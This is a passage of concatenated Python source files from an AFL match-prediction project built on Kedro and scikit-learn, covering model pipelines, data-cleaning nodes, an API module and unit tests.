"oppo_prev_match_at_home", "date", ] BASE_ML_PIPELINE = make_pipeline( ColumnDropper(cols_to_drop=ELO_MODEL_COLS), CorrelationSelector(cols_to_keep=CATEGORY_COLS), ColumnTransformer( [ ( "onehotencoder", OneHotEncoder( categories=[TEAM_NAMES, TEAM_NAMES, ROUND_TYPES, VENUES], sparse=False, handle_unknown="ignore", ), CATEGORY_COLS, ) ], remainder=StandardScaler(), ), ) class BaseMLEstimator(_BaseComposition, RegressorMixin): """Base ML model class.""" def __init__( self, pipeline: Union[Pipeline, BaseEstimator], name: Optional[str] = None, ) -> None: """Instantiate a BaseMLEstimator object. Params ------ pipeline: Pipeline of Scikit-learn estimators ending in a regressor or classifier. name: Name of the estimator for reference by Kedro data sets and filenames. """ super().__init__() self._name = name self.pipeline = pipeline @property def name(self) -> str: """Return the name of the model.""" return self._name or self.__class__.__name__ @property def pickle_filepath(self) -> str: """Return the filepath to the model's saved pickle file.""" return os.path.join(self._default_directory(), f"{self.name}.pkl") def dump(self, filepath: str = None) -> None: """Save the model as a pickle file.""" save_path = filepath or self.pickle_filepath joblib.dump(self, save_path) def fit(self, X: pd.DataFrame, y: pd.Series) -> Type[R]: """Fit estimator to the data.""" if self.pipeline is None: raise TypeError("pipeline must be a scikit learn estimator but is None") self.pipeline.fit(X, y) return self def predict(self, X: Union[pd.DataFrame, np.ndarray]) -> np.ndarray: """Make predictions based on the data input.""" if self.pipeline is None: raise TypeError("pipeline must be a scikit learn estimator but is None") return self.pipeline.predict(X) @staticmethod def _default_directory() -> str: return os.path.abspath(os.path.join(BASE_DIR, "data/06_models")) <file_sep>/src/augury/pipelines/betting/pipeline.py """Functions for creating Kedro pipelines that load and process AFL betting data.""" from kedro.pipeline import Pipeline, node from ..nodes import common, feature_calculation from . import nodes def create_pipeline(start_date: str, end_date: str, **_kwargs): """Create Kedro pipeline for loading and transforming betting data.""" return Pipeline( [ node( common.convert_to_data_frame, "remote_betting_data", "remote_betting_data_frame", ), node( common.combine_data(axis=0), ["betting_data", "remote_betting_data_frame"], "combined_betting_data", ), node(nodes.clean_data, "combined_betting_data", "clean_betting_data"), node( common.filter_by_date(start_date, end_date), "clean_betting_data", "filtered_betting_data", ), node( common.convert_match_rows_to_teammatch_rows, "filtered_betting_data", "stacked_betting_data", ), node( nodes.add_betting_pred_win, ["stacked_betting_data"], "betting_data_a" ), node( feature_calculation.feature_calculator( [ ( feature_calculation.calculate_rolling_rate, [("betting_pred_win",)], ) ] ), "betting_data_a", "betting_data_b", ), node( common.add_oppo_features( oppo_feature_cols=[ "betting_pred_win", "rolling_betting_pred_win_rate", ] ), "betting_data_b", "betting_data_c", ), node( common.finalize_data, "betting_data_c", "final_betting_data", ), ] ) <file_sep>/src/tests/unit/nodes/test_match.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase import os from datetime import datetime, timedelta, time import pandas as pd import numpy as np from faker import Faker import pytz from candystore import CandyStore from tests.helpers import ColumnAssertionMixin from tests.fixtures import data_factories from augury.pipelines.match import nodes as match from augury.pipelines.nodes import common from augury.settings import BASE_DIR FAKE = Faker() TEST_DATA_DIR = os.path.join(BASE_DIR, "src/tests/fixtures") YEAR_RANGE = (2015, 2016) MAX_MATCHES_PER_ROUND = 9 class TestMatch(TestCase, ColumnAssertionMixin): def setUp(self): self.data_frame = ( CandyStore(seasons=YEAR_RANGE) .match_results() .pipe(match.clean_match_data) .pipe(common.convert_match_rows_to_teammatch_rows) .drop("margin", axis=1) ) def test_clean_match_data(self): match_data = pd.read_csv( os.path.join(TEST_DATA_DIR, "fitzroy_match_results.csv") ) clean_data = match.clean_match_data(match_data) self.assertIsInstance(clean_data, pd.DataFrame) required_columns = ["home_team", "away_team", "year", "round_number"] for col in required_columns: self.assertTrue(col in clean_data.columns.values) self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) self.assertFalse((clean_data["date"].dt.time == time()).any()) def test_clean_fixture_data(self): fixture_data = pd.read_csv( os.path.join(TEST_DATA_DIR, "ft_match_list.csv") ).query("season == 2019") max_date = pd.to_datetime(fixture_data["date"]).max() # Adding an extra week to the shift to make it somewhat realistic date_shift = datetime.now() - max_date + timedelta(days=7) # Doing this to guarantee future fixture matches fixture_data.loc[:, "date"] = ( pd.to_datetime(fixture_data["date"]) + date_shift ).astype(str) clean_data = match.clean_fixture_data(fixture_data) self.assertIsInstance(clean_data, pd.DataFrame) self.assertFalse(clean_data.isna().any().any()) required_columns = ["home_team", "away_team", "year", "round_number"] for col in required_columns: self.assertTrue(col in clean_data.columns.values) self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) self.assertFalse((clean_data["date"].dt.time == time()).any()) with self.subTest("when some teams are blank"): row_count = len(fixture_data) fixture_data.iloc[int(row_count / 2) :, :].loc["home_team"] = np.nan fixture_data.iloc[int(row_count / 2) :, :].loc["away_team"] = np.nan clean_data = match.clean_fixture_data(fixture_data) self.assertFalse((clean_data["home_team"] == 0).any()) self.assertFalse((clean_data["away_team"] == 0).any()) def test_clean_match_results_data(self): full_match_results = CandyStore(seasons=1).match_results() round_number = FAKE.pyint(1, full_match_results["round_number"].max()) fake_match_results = data_factories.fake_match_results_data( full_match_results, round_number ) clean_data = match.clean_match_results_data(fake_match_results) # It returns a data frame with data self.assertIsInstance(clean_data, pd.DataFrame) self.assertFalse(clean_data.isna().any().any()) # It has all required columns required_columns = set( [ "home_team", "home_score", "away_team", "away_score", "round_number", "year", ] ) self.assertEqual(required_columns, set(clean_data.columns) & required_columns) # Dates are in UTC self.assertEqual(clean_data["date"].dt.tz, pytz.UTC) # Dates have real times self.assertFalse((clean_data["date"].dt.time == time()).any()) with self.subTest("when some teams are blank"): row_count = len(fake_match_results) fake_match_results.iloc[int(row_count / 2) :, :]["hteam"] = np.nan fake_match_results.iloc[int(row_count / 2) :, :]["ateam"] = np.nan clean_data = match.clean_match_results_data(fake_match_results) self.assertFalse((clean_data["home_team"] == 0).any()) self.assertFalse((clean_data["away_team"] == 0).any()) def test_add_elo_rating(self): valid_data_frame = self.data_frame.rename( columns={ "team": "home_team", "oppo_team": "away_team", "score": "home_score", "oppo_score": "away_score", } ) self._make_column_assertions( column_names=["home_elo_rating", "away_elo_rating"], req_cols=( "home_score", "away_score", "home_team", "away_team", "year", "date", "round_number", ), valid_data_frame=valid_data_frame, feature_function=match.add_elo_rating, col_diff=2, ) def test_add_out_of_state(self): feature_function = match.add_out_of_state valid_data_frame = self.data_frame self._make_column_assertions( column_names=["out_of_state"], req_cols=("venue", "team"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_travel_distance(self): feature_function = match.add_travel_distance valid_data_frame = self.data_frame self._make_column_assertions( column_names=["travel_distance"], req_cols=("venue", "team"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_result(self): feature_function = match.add_result valid_data_frame = self.data_frame self._make_column_assertions( column_names=["result"], req_cols=("score", "oppo_score"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_margin(self): feature_function = match.add_margin valid_data_frame = self.data_frame self._make_column_assertions( column_names=["margin"], req_cols=("score", "oppo_score"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_shifted_team_features(self): feature_function = match.add_shifted_team_features(shift_columns=["score"]) valid_data_frame = self.data_frame.assign(team=FAKE.company()) self._make_column_assertions( column_names=["prev_match_score"], req_cols=("score",), valid_data_frame=valid_data_frame, feature_function=feature_function, ) shifted_data_frame = feature_function(valid_data_frame) self.assertEqual(shifted_data_frame["prev_match_score"].iloc[0], 0) self.assertEqual( shifted_data_frame["prev_match_score"].iloc[1], shifted_data_frame["score"].iloc[0], ) with self.subTest("using keep_columns argument"): keep_columns = [col for col in self.data_frame if col != "score"] feature_function = match.add_shifted_team_features( keep_columns=keep_columns ) valid_data_frame = self.data_frame.assign(team=FAKE.company()) self._assert_column_added( column_names=["prev_match_score"], valid_data_frame=valid_data_frame, feature_function=feature_function, ) shifted_data_frame = feature_function(valid_data_frame) self.assertEqual(shifted_data_frame["prev_match_score"].iloc[0], 0) self.assertEqual( shifted_data_frame["prev_match_score"].iloc[1], shifted_data_frame["score"].iloc[0], ) prev_match_columns = [ col for col in shifted_data_frame.columns if "prev_match" in col ] self.assertEqual(len(prev_match_columns), 1) def test_add_cum_win_points(self): feature_function = match.add_cum_win_points valid_data_frame = self.data_frame.assign( prev_match_result=np.random.randint(0, 2, len(self.data_frame)) ) self._make_column_assertions( column_names=["cum_win_points"], req_cols=("prev_match_result",), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_win_streak(self): feature_function = match.add_win_streak valid_data_frame = self.data_frame.assign( prev_match_result=np.random.randint(0, 2, len(self.data_frame)) ) self._make_column_assertions( column_names=["win_streak"], req_cols=("prev_match_result",), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_cum_percent(self): feature_function = match.add_cum_percent valid_data_frame = self.data_frame.assign( prev_match_score=np.random.randint(50, 150, len(self.data_frame)), prev_match_oppo_score=np.random.randint(50, 150, len(self.data_frame)), ) self._make_column_assertions( column_names=["cum_percent"], req_cols=("prev_match_score", "prev_match_oppo_score"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_ladder_position(self): feature_function = match.add_ladder_position valid_data_frame = self.data_frame.assign( # Float from 0.5 to 2.0 covers most percentages cum_percent=(2.5 * np.random.ranf(len(self.data_frame))) - 0.5, cum_win_points=np.random.randint(0, 60, len(self.data_frame)), ) self._make_column_assertions( column_names=["ladder_position"], req_cols=("cum_percent", "cum_win_points", "team", "year", "round_number"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) def test_add_elo_pred_win(self): feature_function = match.add_elo_pred_win valid_data_frame = self.data_frame.assign( elo_rating=np.random.randint(900, 1100, len(self.data_frame)), oppo_elo_rating=np.random.randint(900, 1100, len(self.data_frame)), ) self._make_column_assertions( column_names=["elo_pred_win"], req_cols=("elo_rating", "oppo_elo_rating"), valid_data_frame=valid_data_frame, feature_function=feature_function, ) <file_sep>/src/augury/setup.py """For installing augury as a package.""" # Copyright 2021 QuantumBlack Visual Analytics Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND # NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS # BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # The QuantumBlack Visual Analytics Limited ("QuantumBlack") name and logo # (either separately or in combination, "QuantumBlack Trademarks") are # trademarks of QuantumBlack. The License does not grant you any right or # license to the QuantumBlack Trademarks. You may not use the QuantumBlack # Trademarks or any confusingly similar mark as a trademark for your product, # or use the QuantumBlack Trademarks in any other manner that might cause # confusion in the marketplace, including but not limited to in advertising, # on websites, or on software. # # See the License for the specific language governing permissions and # limitations under the License. from setuptools import find_packages, setup entry_point = "augury = augury.run:run_package" # get the dependencies and installs with open("requirements.dev.txt", "r", encoding="utf-8") as f: # Make sure we strip all comments and options (e.g "--extra-index-url") # that arise from a modified pip.conf file that configure global options # when running kedro build-reqs requires = [] for line in f: req = line.split("#", 1)[0].strip() if req and not req.startswith("--"): requires.append(req) setup( name="augury", version="0.1", packages=find_packages(exclude=["tests"]), entry_points={"console_scripts": [entry_point]}, install_requires=requires, extras_require={ "docs": [ "sphinx~=3.4.3", "sphinx_rtd_theme==0.5.1", "nbsphinx==0.8.1", "nbstripout==0.3.3", "recommonmark==0.7.1", "sphinx-autodoc-typehints==1.11.1", "sphinx_copybutton==0.3.1", "ipykernel~=5.3", ] }, ) <file_sep>/src/augury/api.py """The public API for the Augury app.""" from typing import List, Optional, Dict, Union, Any, cast import pandas as pd from mypy_extensions import TypedDict from kedro.framework.context import KedroContext from kedro.framework.session import get_current_session import simplejson from augury.data_import import match_data from augury.pipelines.match import nodes as match from augury.predictions import Predictor from augury.types import YearRange, MLModelDict from augury import settings ApiResponse = TypedDict( "ApiResponse", {"data": Union[List[Dict[str, Any]], Dict[str, Any]]} ) PIPELINE_NAMES = {"full_data": "full"} def _clean_data_frame_for_json(data_frame: pd.DataFrame) -> List[Dict[str, Any]]: # I don't feel great about this, but there isn't a good way of converting np.nan # to null for JSON. Since GCF expects dicts that it converts to JSON for us, # we call dumps then loads to avoid nested stringified weirdness. return simplejson.loads( simplejson.dumps(data_frame.to_dict("records"), ignore_nan=True, default=str) ) def _api_response(data: Union[pd.DataFrame, Dict[str, Any]]) -> ApiResponse: response_data = ( _clean_data_frame_for_json(data) if isinstance(data, pd.DataFrame) else data ) return {"data": response_data} def _run_pipelines(context: KedroContext, ml_models: List[MLModelDict]): data_set_names = {ml_model["data_set"] for ml_model in ml_models} for data_set_name in data_set_names: context.run(pipeline_name=PIPELINE_NAMES[data_set_name]) def make_predictions( year_range: YearRange, round_number: Optional[int] = None, ml_model_names: Optional[List[str]] = None, train=False, ) -> ApiResponse: """Generate predictions for the given year and round number. Params ------ year_range: Year range for which you want prediction data. Format = yyyy-yyyy. round_number: Round number for which you want prediction data. ml_models: Comma-separated list of names of ML model to use for making predictions. train: Whether to train the model before predicting. Returns ------- List of prediction data dictionaries. """ session = get_current_session() assert session is not None context = session.load_context() if ml_model_names is None: ml_models = settings.ML_MODELS else: ml_models = [ ml_model for ml_model in settings.ML_MODELS if ml_model["name"] in ml_model_names ] context = cast(settings.ProjectContext, session.load_context()) _run_pipelines(context, ml_models) predictor = Predictor( year_range, context, round_number=round_number, train=train, verbose=1, ) predictions = predictor.make_predictions(ml_models) return _api_response(predictions) def fetch_fixture_data( start_date: str, end_date: str, data_import=match_data, verbose: int = 1 ) -> ApiResponse: """ Fetch fixture data (doesn't include match results) from afl_data service. Params ------ start_date (str): Stringified date of form yyy-mm-dd that determines the earliest date for which to fetch data. end_date (str): Stringified date of form yyy-mm-dd that determines the latest date for which to fetch data. verbose (0 or 1): Whether to print info messages while fetching data. Returns ------- List of fixture data dictionaries. """ return _api_response( pd.DataFrame( data_import.fetch_fixture_data( start_date=start_date, end_date=end_date, verbose=verbose ) ).pipe(match.clean_fixture_data) ) def fetch_match_data( start_date: str, end_date: str, data_import=match_data, verbose: int = 1 ) -> ApiResponse: """ Fetch data for past matches from afl_data service. Params ------ start_date (str): Stringified date of form yyy-mm-dd that determines the earliest date for which to fetch data. end_date (str): Stringified date of form yyy-mm-dd that determines the latest date for which to fetch data. verbose (0 or 1): Whether to print info messages while fetching data. Returns ------- List of match data dictionaries. """ return _api_response( pd.DataFrame( data_import.fetch_match_data( start_date=start_date, end_date=end_date, verbose=verbose ) ).pipe(match.clean_match_data) ) def fetch_match_results_data( round_number: int, data_import=match_data, verbose: int = 1 ) -> ApiResponse: """ Fetch data for past matches from afl_data service. Params ------ round_number: Fetch results for the given round. verbose (0 or 1): Whether to print info messages while fetching data. Returns ------- List of match results data dictionaries. """ return _api_response( pd.DataFrame( data_import.fetch_match_results_data(round_number, verbose=verbose) ).pipe(match.clean_match_results_data) ) def fetch_ml_model_info() -> ApiResponse: """Fetch general info about all saved ML models.""" return _api_response(settings.ML_MODELS) <file_sep>/src/augury/ml_data.py """Module for holding model data and returning it in a form useful for ML pipelines.""" from typing import Tuple, Optional, List from datetime import date import pandas as pd from kedro.framework.context import KedroContext from kedro.framework.session import get_current_session from augury.types import YearRange from augury.settings import ( INDEX_COLS, TRAIN_YEAR_RANGE, VALIDATION_YEAR_RANGE, ) END_OF_YEAR = f"{date.today().year}-12-31" class MLData: """Holds model data and returns it in a form useful for ML pipelines.""" def __init__( self, context: Optional[KedroContext] = None, data_set: str = "full_data", train_year_range: YearRange = TRAIN_YEAR_RANGE, test_year_range: YearRange = VALIDATION_YEAR_RANGE, index_cols: List[str] = INDEX_COLS, label_col: str = "margin", ) -> None: """ Instantiate an MLData object. Params ------ context: Relevant context for loading data sets. data_set: Name of the data set to load. train_year_range: Year range (inclusive, exclusive per `range` function) for data to include in training sets. test_year_range: Year range (inclusive, exclusive per `range` function) for data to include in testing sets. index_cols: Column names to use for the DataFrame's index. label_col: Name of the column to use for data labels (i.e. y data set). """ self.context = context self._data_set = data_set self._train_year_range = train_year_range self._test_year_range = test_year_range self.index_cols = index_cols self.label_col = label_col self._data = pd.DataFrame() self._X_data = None self._y_data = None if self.context is None: session = get_current_session() assert session is not None self.context = session.load_context() @property def data(self) -> pd.DataFrame: """Full data set stored in the given class instance.""" if self._data.empty: self._data = self._load_data() return self._data @property def train_data(self) -> Tuple[pd.DataFrame, pd.DataFrame]: """Filter data by year to produce training data.""" if len(self.data.index.names) != 3: raise ValueError( "The index of the data frame must have 3 levels. The expected indexes " "are ['team', 'year', 'round_number'], but the index names are: " f"{self.data.index.names}" ) train_year_range = range(*self.train_year_range) X_train = self._X.loc[(slice(None), train_year_range, slice(None)), :] y_train = self._y.loc[ ( slice(None), # Series can't slice by range, so we have to convert to a valid # slice (i.e. end inclusive, so subtract 1) slice(min(train_year_range), max(train_year_range)), slice(None), ) ] return X_train, y_train @property def test_data(self) -> Tuple[pd.DataFrame, pd.DataFrame]: """Filter data by year to produce test data.""" if len(self.data.index.names) != 3: raise ValueError( "The index of the data frame must have 3 levels. The expected indexes " "are ['team', 'year', 'round_number'], but the index names are: " f"{self.data.index.names}" ) test_year_range = range(*self.test_year_range) X_test = self._X.loc[(slice(None), test_year_range, slice(None)), :] y_test = self._y.loc[ ( slice(None), # Series can't slice by range, so we have to convert to a valid # slice (i.e. end inclusive) slice(min(test_year_range), max(test_year_range)), slice(None), ) ] return X_test, y_test @property def train_year_range(self) -> YearRange: """Range of years for slicing training data.""" return self._train_year_range @train_year_range.setter def train_year_range(self, years: YearRange) -> None: self._train_year_range = years @property def test_year_range(self) -> YearRange: """Range of years for slicing test data.""" return self._test_year_range @test_year_range.setter def test_year_range(self, years: YearRange) -> None: self._test_year_range = years @property def data_set(self) -> str: """Name of the associated kedro data set.""" return self._data_set @data_set.setter def data_set(self, name: str) -> None: if self._data_set != name: self._data = pd.DataFrame() self._X_data = None self._y_data = None self._data_set = name def _load_data(self): data_frame = pd.DataFrame(self.context.catalog.load(self.data_set)) # When loading date columns directly from JSON, we need to convert them # from string to datetime if "date" in list(data_frame.columns) and data_frame["date"].dtype == "object": data_frame.loc[:, "date"] = pd.to_datetime(data_frame["date"]) return ( data_frame.set_index(self.index_cols, drop=False) .rename_axis([None] * len(self.index_cols)) .sort_index() ) @property def _X(self) -> pd.DataFrame: if self._X_data is None: self._X_data = self._load_X() return self._X_data def _load_X(self) -> pd.DataFrame: labels = [ "(?:oppo_)?score", "(?:oppo_)?(?:team_)?behinds", "(?:oppo_)?(?:team_)?goals", "(?:oppo_)?margin", "(?:oppo_)?result", ] label_cols = self.data.filter(regex=f"^{'$|^'.join(labels)}$").columns features = self.data.drop(label_cols, axis=1) numeric_features = features.select_dtypes("number").astype(float) categorical_features = features.select_dtypes(exclude=["number"]) # Sorting columns with categorical features first to allow for positional indexing # for some data transformations further down the pipeline. # We sort each column group alphabetically to guarantee the same column order # as long as the columns are the same. return pd.concat( [ categorical_features[sorted(categorical_features.columns)], numeric_features[sorted(numeric_features.columns)], ], axis=1, ) @property def _y(self) -> pd.Series: if self._y_data is None: self._y_data = self._load_y() return self._y_data def _load_y(self) -> pd.Series: return self.data[self.label_col] <file_sep>/src/augury/pipelines/match/pipeline.py """Functions for creating Kedro pipelines for match-specific data.""" from kedro.pipeline import Pipeline, node from ..nodes import common, feature_calculation from . import nodes MATCH_OPPO_COLS = [ "team", "year", "round_number", "score", "oppo_score", "team_goals", "oppo_team_goals", "team_behinds", "oppo_team_behinds", "result", "oppo_result", "margin", "oppo_margin", "out_of_state", "at_home", "oppo_team", "venue", "round_type", "date", ] def create_past_match_pipeline(): """Create Kedro pipeline for match data to the end of last year.""" return Pipeline( [ node( common.convert_to_data_frame, "remote_match_data", "remote_match_data_frame", ), node( common.combine_data(axis=0), ["match_data", "remote_match_data_frame"], "combined_past_match_data", ), node( nodes.clean_match_data, "combined_past_match_data", "clean_past_match_data", ), ] ) def create_future_match_pipeline(): """Create a pipeline for loading and cleaning fixture (i.e. future matches) data.""" return Pipeline( [ node(common.convert_to_data_frame, "fixture_data", "fixture_data_frame"), node(nodes.clean_fixture_data, "fixture_data_frame", "clean_fixture_data"), ] ) def create_pipeline( start_date: str, end_date: str, past_match_pipeline=create_past_match_pipeline(), **_kwargs ): """ Create a Kedro pipeline for loading and transforming match data. Params ------ start_date (str, YYYY-MM-DD format): Earliest date for included data. end_date (str, YYYY-MM-DD format): Latest date for included data. past_match_pipeline (kedro.pipeline.Pipeline): Pipeline for loading and cleaning data for past matches. """ return Pipeline( [ past_match_pipeline, create_future_match_pipeline(), node( common.combine_data(axis=0), ["clean_past_match_data", "clean_fixture_data"], "combined_match_data", ), node( common.filter_by_date(start_date, end_date), "combined_match_data", "filtered_past_match_data", ), node( common.convert_match_rows_to_teammatch_rows, "filtered_past_match_data", "match_data_a", ), node(nodes.add_out_of_state, "match_data_a", "match_data_b"), node(nodes.add_travel_distance, "match_data_b", "match_data_c"), node(nodes.add_result, "match_data_c", "match_data_d"), node(nodes.add_margin, "match_data_d", "match_data_e"), node( nodes.add_shifted_team_features( shift_columns=[ "score", "oppo_score", "result", "margin", "team_goals", "team_behinds", "oppo_team", "at_home", ] ), "match_data_e", "shifted_match_data", ), node(nodes.add_cum_win_points, "shifted_match_data", "match_data_g"), node(nodes.add_win_streak, "match_data_g", "match_data_h"), node( feature_calculation.feature_calculator( [ ( feature_calculation.calculate_rolling_rate, [("prev_match_result",)], ), ( feature_calculation.calculate_rolling_mean_by_dimension, [ ("oppo_team", "margin"), ("oppo_team", "result"), ("oppo_team", "score"), ("venue", "margin"), ("venue", "result"), ("venue", "score"), ], ), ] ), "match_data_h", "match_data_i", ), node( common.add_oppo_features(match_cols=MATCH_OPPO_COLS), "match_data_i", "match_data_j", ), # Features dependent on oppo columns node(nodes.add_cum_percent, "match_data_j", "match_data_k"), node(nodes.add_ladder_position, "match_data_k", "match_data_l"), node( common.add_oppo_features( oppo_feature_cols=["cum_percent", "ladder_position"] ), "match_data_l", "match_data_m", ), node(common.finalize_data, "match_data_m", "final_match_data"), ] ) <file_sep>/pytest.ini [pytest] filterwarnings = once # Tired of seeing kedro's missing credentials warning ignore:Credentials not found in your Kedro project config.:UserWarning # Raise when unpickling with different version of scikit-learn as reminder # to updated saved models. error:Trying to unpickle estimator <file_sep>/.env.example # General env vars PYTHONPATH=./src # CI env vars DATA_SCIENCE_SERVICE_TOKEN=<authorization token for making calls to the data science_functions> AFL_DATA_SERVICE=<hostname of the afl data service> AFL_DATA_SERVICE_TOKEN=<authorization token for making calls to the afl data_functions> PROJECT_ID=<name of the Google Cloud project> PROJECT_NAME=<name of the project/repository> # Prod env vars DATA_SCIENCE_SERVICE_TOKEN=<authorization token for making calls to the data science_functions> AFL_DATA_SERVICE=<hostname of the afl data service> AFL_DATA_SERVICE_TOKEN=<authorization token for making calls to the afl data_functions> TIPRESIAS_APP_TOKEN=<authorization token for making calls to the tipresias app> <file_sep>/src/tests/conftest.py # pylint: disable=missing-module-docstring,missing-function-docstring import pytest from kedro.framework.session import KedroSession from augury import settings @pytest.fixture(scope="session", autouse=True) def kedro_session(): with KedroSession.create( settings.PACKAGE_NAME, project_path=settings.BASE_DIR, env=settings.ENV ) as session: yield session <file_sep>/src/tests/unit/nodes/test_common.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase from collections import Counter from datetime import timezone, timedelta import pandas as pd import numpy as np from candystore import CandyStore from dateutil import parser from tests.helpers import ColumnAssertionMixin from augury.pipelines.nodes import common, base from augury.pipelines.match import nodes as match from augury.settings import INDEX_COLS START_DATE = parser.parse("2013-01-01") END_DATE = parser.parse("2014-12-31") START_YEAR = START_DATE.year END_YEAR = END_DATE.year YEAR_RANGE = (START_YEAR, END_YEAR) REQUIRED_OUTPUT_COLS = ["home_team", "year", "round_number"] class TestCommon(TestCase, ColumnAssertionMixin): def setUp(self): self.data_frame = ( CandyStore(seasons=YEAR_RANGE) .match_results() .pipe(match.clean_match_data) .pipe(common.convert_match_rows_to_teammatch_rows) ) def test_convert_to_data_frame(self): data = CandyStore(seasons=(START_YEAR, END_YEAR)).match_results( to_dict="records" ) data_frames = common.convert_to_data_frame(data, data) self.assertEqual(len(data_frames), 2) for data_frame in data_frames: self.assertIsInstance(data_frame, pd.DataFrame) raw_data_fields = data[0].keys() data_frame_columns = data_frames[0].columns self.assertEqual(set(raw_data_fields), set(data_frame_columns)) with self.subTest("when data is empty"): data = [] data_frames = common.convert_to_data_frame(data) # It is an empty data frame with no columns self.assertIsInstance(data_frames, pd.DataFrame) self.assertEqual(len(data_frames), 0) self.assertFalse(any(data_frames.columns)) def test_combine_data(self): raw_betting_data = CandyStore(seasons=YEAR_RANGE).betting_odds() min_year_range = min(YEAR_RANGE) older_data = ( CandyStore(seasons=(min_year_range - 2, min_year_range)) .betting_odds() .append(raw_betting_data.query("season == @min_year_range")) ) combine_data_func = common.combine_data(axis=0) combined_data = combine_data_func(raw_betting_data, older_data) total_year_range = range(min_year_range - 2, max(YEAR_RANGE)) self.assertEqual({*total_year_range}, {*combined_data["season"]}) expected_row_count = len( raw_betting_data.query("season != @min_year_range") ) + len(older_data) self.assertEqual(expected_row_count, len(combined_data)) with self.subTest(axis=1): match_year_range = (START_YEAR - 2, END_YEAR) match_data = CandyStore(seasons=match_year_range).match_results() combine_data_func = common.combine_data(axis=1) combined_data = combine_data_func(raw_betting_data, match_data) self.assertEqual(len(match_data), len(combined_data)) self.assertEqual( set(raw_betting_data.columns) | set(match_data.columns), set(combined_data.columns), ) self.assertFalse((combined_data["date"] == 0).any()) self.assertFalse(combined_data["date"].isna().any()) def test_filter_by_date(self): raw_betting_data = ( CandyStore(seasons=YEAR_RANGE) .betting_odds() .assign(date=base._parse_dates) # pylint: disable=protected-access ) filter_start = f"{START_YEAR}-06-01" filter_start_date = parser.parse( # pylint: disable=unused-variable filter_start ).replace(tzinfo=timezone.utc) filter_end = f"{START_YEAR}-06-30" filter_end_date = parser.parse( # pylint: disable=unused-variable filter_end ).replace(tzinfo=timezone.utc) + timedelta(days=1) filter_func = common.filter_by_date(filter_start, filter_end) filtered_data_frame = filter_func(raw_betting_data) # It has some data self.assertTrue(filtered_data_frame.size) # It doesn't have any data outside the date range self.assertFalse( filtered_data_frame.query( "date < @filter_start_date | date > @filter_end_date" ) .any() .any() ) with self.subTest("with invalid date strings"): with self.assertRaises(ValueError): common.filter_by_date("what", "the what?") with self.subTest("without a date column"): with self.assertRaises(AssertionError): filter_func(raw_betting_data.drop("date", axis=1)) def test_convert_match_rows_to_teammatch_rows(self): valid_data_frame = ( CandyStore(seasons=YEAR_RANGE).match_results().pipe(match.clean_match_data) ) invalid_data_frame = valid_data_frame.drop("year", axis=1) with self.subTest(data_frame=valid_data_frame): transformed_df = common.convert_match_rows_to_teammatch_rows( valid_data_frame ) self.assertIsInstance(transformed_df, pd.DataFrame) # TeamDataStacker stacks home & away teams, so the new DF should have # twice as many rows self.assertEqual(len(valid_data_frame) * 2, len(transformed_df)) # 'home_'/'away_' columns become regular columns or 'oppo_' columns, # match_id is dropped, but otherwise non-team-specific columns # are unchanged, and we add 'at_home' (we drop & add a column, # so they should be equal) self.assertEqual(len(valid_data_frame.columns), len(transformed_df.columns)) self.assertIn("at_home", transformed_df.columns) self.assertNotIn("match_id", transformed_df.columns) # Half the teams should be marked as 'at_home' self.assertEqual(transformed_df["at_home"].sum(), len(transformed_df) / 2) with self.subTest(data_frame=invalid_data_frame): with self.assertRaises(AssertionError): common.convert_match_rows_to_teammatch_rows(invalid_data_frame) def test_add_oppo_features(self): REQUIRED_COLS = INDEX_COLS + ["oppo_team"] match_cols = [ "date", "team", "oppo_team", "score", "oppo_score", "year", "round_number", ] oppo_feature_cols = ["kicks", "marks"] valid_data_frame = self.data_frame.loc[:, match_cols].assign( kicks=np.random.randint(50, 100, len(self.data_frame)), marks=np.random.randint(50, 100, len(self.data_frame)), ) with self.subTest(data_frame=valid_data_frame, match_cols=match_cols): data_frame = valid_data_frame transform_func = common.add_oppo_features(match_cols=match_cols) transformed_df = transform_func(data_frame) # OppoFeatureBuilder adds 1 column per non-match column self.assertEqual( len(valid_data_frame.columns) + 2, len(transformed_df.columns) ) # Should add the two new oppo columns self.assertIn("oppo_kicks", transformed_df.columns) self.assertIn("oppo_marks", transformed_df.columns) # Shouldn't add the match columns for match_col in match_cols: if match_col not in ["team", "score"]: self.assertNotIn(f"oppo_{match_col}", transformed_df.columns) self.assertEqual(Counter(transformed_df.columns)["oppo_team"], 1) self.assertEqual(Counter(transformed_df.columns)["oppo_score"], 1) # Columns & their 'oppo_' equivalents should have the same values self.assertEqual( len( np.setdiff1d(transformed_df["kicks"], transformed_df["oppo_kicks"]) ), 0, ) self.assertEqual( len( np.setdiff1d(transformed_df["marks"], transformed_df["oppo_marks"]) ), 0, ) with self.subTest( data_frame=valid_data_frame, oppo_feature_cols=oppo_feature_cols ): data_frame = valid_data_frame transform_func = common.add_oppo_features( oppo_feature_cols=oppo_feature_cols ) transformed_df = transform_func(data_frame) # OppoFeatureBuilder adds 1 column per non-match column self.assertEqual(len(data_frame.columns) + 2, 